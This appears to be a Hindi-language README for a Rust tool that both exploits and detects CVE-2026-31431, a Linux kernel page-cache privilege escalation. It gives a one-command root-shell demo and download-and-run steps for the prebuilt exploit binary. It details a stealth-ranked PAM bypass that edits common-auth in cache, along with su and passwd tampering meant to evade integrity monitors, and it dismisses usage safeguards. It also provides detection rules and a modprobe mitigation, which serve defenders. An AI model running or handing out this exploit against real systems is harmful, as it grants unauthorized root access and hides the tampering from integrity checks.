
CopyFail (CVE-2026-31431): Linux कर्नेल पेज-कैश PrivEsc PoC + एकमात्र सार्वजनिक डिटेक्शन टूल। नया PAM प्रमाणीकरण-बायपास वेक्टर + Sigma/auditd/eBPF नियम।
CVE-2026-31431 (CopyFail) के लिए मल्टी-वेक्टर PoC + युग्मित डिटेक्शन। इसमें एक नया PAM auth-bypass वेक्टर शामिल है जो किसी अन्य सार्वजनिक PoC में नहीं है। डिटेक्शन मोड वह पकड़ता है जो AIDE / Wazuh / OSSEC / Tripwire संरचनात्मक रूप से नहीं पकड़ सकते।
एकल स्टैटिक बाइनरी। ~108 KB। no_std musl।
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
एक कमांड। रूट शेल। हुड के नीचे PAM किलशॉट (/etc/pam.d/common-auth में एकल 4-बाइट राइट), फेंके गए पासवर्ड के साथ sudo के माध्यम से PTY ड्रॉप रूट में। [sudo] password for noot: लाइन संक्षेप में चमकती है, sudo हमेशा उस प्रॉम्प्ट को प्रतिध्वनित करता है; बाइनरी इसे कोई भी स्ट्रिंग फीड करती है और pam_unix की विफलता टिप्पणी-आउट pam_deny.so से pam_permit.so → रूट तक कैस्केड होती है।
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← वास्तव में लोड किया गया (म्यूटेटेड)
disk: 117dab1c... ← AIDE / Wazuh / Tripwire जो देखते हैं (साफ)
यही प्रोजेक्ट है। डिस्क साफ, कैश म्यूटेटेड। हर सार्वजनिक FIM अंधा है। यह टूल नहीं है।
v0.1.0 रिलीज़ पर प्री-बिल्ट स्टैटिक बाइनरी। अपना आर्क चुनें, डाउनलोड करें, चलाएं।
# x86_64 (अधिकांश लैपटॉप + क्लाउड सर्वर)
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/copyfail-x86_64-musl
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
अन्य आर्क:
| आर्क | फ़ाइल |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
अखंडता सत्यापित करें:
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/checksums.txt
sha256sum -c checksums.txt
स्टैटिक musl बाइनरी, कोई रनटाइम निर्भरता नहीं, किसी भी Linux पर ड्रॉप होती है।
पेज कैश म्यूटेशन। कोई VFS राइट नहीं। कोई गंदा पेज नहीं। कोई inotify इवेंट नहीं। आवधिक रीस्कैन निष्कासन के साथ दौड़ता है।
AIDE/Wazuh/OSSEC/Tripwire/Samhain बफ़र्ड I/O → पेज कैश → म्यूटेटेड बाइट्स को सत्य के रूप में हैश करते हैं। या निष्कासन के बाद, साफ डिस्क हैश करते हैं → "कोई परिवर्तन कभी नहीं हुआ।"
डिटेक्शन के लिए O_DIRECT (कैश छोड़ें) + बफ़र्ड रीड (कैश हिट) + हैश अंतर चाहिए। बेमेल = CopyFail सिग्नेचर। यही --scan है।
| वेक्टर | लक्ष्य | कहाँ उतरता है |
|---|---|---|
pam (नया) | /etc/pam.d/common-auth (Debian/Ubuntu) या system-auth (Fedora/RHEL/Arch) | 4 बाइट्स। auth requisite pam_deny.so → #aut requisite pam_deny.so। किसी भी पासवर्ड के साथ sudo = रूट। |
su | /usr/bin/su | setuid बाइनरी टेक्स्ट म्यूटेट करें। execve → रूट। |
passwd | /etc/passwd | UID फ्लिप → उपयोगकर्ता अगले लॉगिन पर रूट बन जाता है। उस उपयोगकर्ता के लिए SSH तोड़ता है। |
ऑटो-पिक: --vector auto (डिफ़ॉल्ट)। स्टील्थ द्वारा pam > su > passwd रैंक करता है। विफलता पर फॉलबैक।
| मोड | क्या |
|---|---|
--check | कर्नेल + मॉड्यूल + CONFIG_CRYPTO_USER_API_AEAD + मिटिगेशन स्थिति। निर्णय: vulnerable / mitigated / safe। |
--scan | महत्वपूर्ण फ़ाइलों पर O_DIRECT बनाम बफ़र्ड रीड अंतर। statfs()-ब्रांच्ड: ext4/xfs/btrfs O_DIRECT उपयोग करते हैं, overlayfs फॉलबैक करता है, tmpfs छोड़ दिया जाता है। |
--baseline / --diff | ज्ञात-साफ स्थिति का स्नैपशॉट। बाद में अंतर। केवल-कैश डेल्टा = CopyFail फिंगरप्रिंट। |
--watch | डेमॉन। आवधिक स्कैन। SIGTERM साफ। |
--hunt | SSH फ्लीट स्वीप। JSON एग्रीगेट्स। |
SIEM इन्जेस्ट के लिए हर जगह --json।
detection/:
sigma/copyfail-af-alg.yml, Sigma नियम, अपने SIEM में ड्रॉप करेंauditd/copyfail.rules, augenrules --loadebpf/copyfail-trace.bt, bpftrace वन-लाइनरapparmor/copyfail-block.profile, AppArmor 3.0+ डिनाय नियमmitigation/disable-algif.sh, modprobe ब्लैकलिस्ट + =y चेतावनीecho "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
या कर्नेल मेनलाइन a664bf3d603d (अप्रैल 2026)। अभी तक: केवल Debian Sid/Forky शिप किया गया। Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = सभी vulnerable।
चेतावनी: CONFIG_CRYPTO_USER_API_AEAD=y (बिल्ट-इन) चुपचाप modprobe को बायपास करता है। --check चेतावनी देता है।
एक्सप्लॉइट + मिटिगेशन के बाद: कैश्ड म्यूटेशन रीबूट तक बना रहता है। मिटिगेशन नए एक्सप्लॉइट्स को रोकता है, पिछले वाले को पूर्ववत नहीं करता।
cargo build --release --target x86_64-unknown-linux-musl
| लक्ष्य | आकार |
|---|---|
| x86_64-musl | 108 KB |
| aarch64-musl | 96 KB |
| armv7-musleabihf | 86 KB |
no_std। कोई एलोकेटर नहीं। कोई रनटाइम निर्भरता नहीं। एकल स्टैटिक बाइनरी।
प्री-बिल्ट आर्टिफैक्ट्स और SHA256 योग GitHub रिलीज़ से जुड़े हैं।
प्रति मोड ठोस एक-स्क्रीन उदाहरणों के लिए docs/usage.md देखें (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt)।
इस README के लंबे-रूप कथात्मक संस्करण के लिए (अधिक संदर्भ, गहरा विवरण), BLOG.md देखें।
docs/threat-model.md देखें।
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs | |
|---|---|---|---|---|
| वेक्टर | su | su + passwd | su | su + passwd + PAM (नया) |
| डिटेक्शन | none | none | none | पूर्ण --mode detect |
| IR आर्टिफैक्ट्स | none | none | none | Sigma + auditd + eBPF + AppArmor |
| ऑपरेटर UX | 3 कमांड | 4 कमांड | 5 कमांड | 1 कमांड |
| बाइनरी | Python चाहिए | ~10 KB | ~5 MB | ~108 KB स्टैटिक |
केवल अपना हार्डवेयर। कोई CLI गेट नहीं (सुरक्षा थिएटर)। README + LICENSE = फ्रेमवर्क।
डिटेक्शन मोड केवल-पढ़ने के लिए है। प्रोडक्शन पर सुरक्षित।
एक्सप्लॉइट मोड कर्नेल पेज कैश म्यूटेट करता है। केवल-RAM लेकिन विनाशकारी मानें। किसी भी बाद के कॉलर के लिए auth ब्लॉक करता है।
CVE-2026-31431 Theori / Xint द्वारा 2026-04-29 को प्रकट किया गया (writeup, Xint ब्लॉग)। पिछले सार्वजनिक PoCs:
यह प्रोजेक्ट (copyfail-rs): PAM auth-bypass वेक्टर, द्वि-मोड डिटेक्शन, IR आर्टिफैक्ट्स जोड़ता है।
MIT।
a664bf3d603d72548b093ee3 (4.14, अगस्त 2017)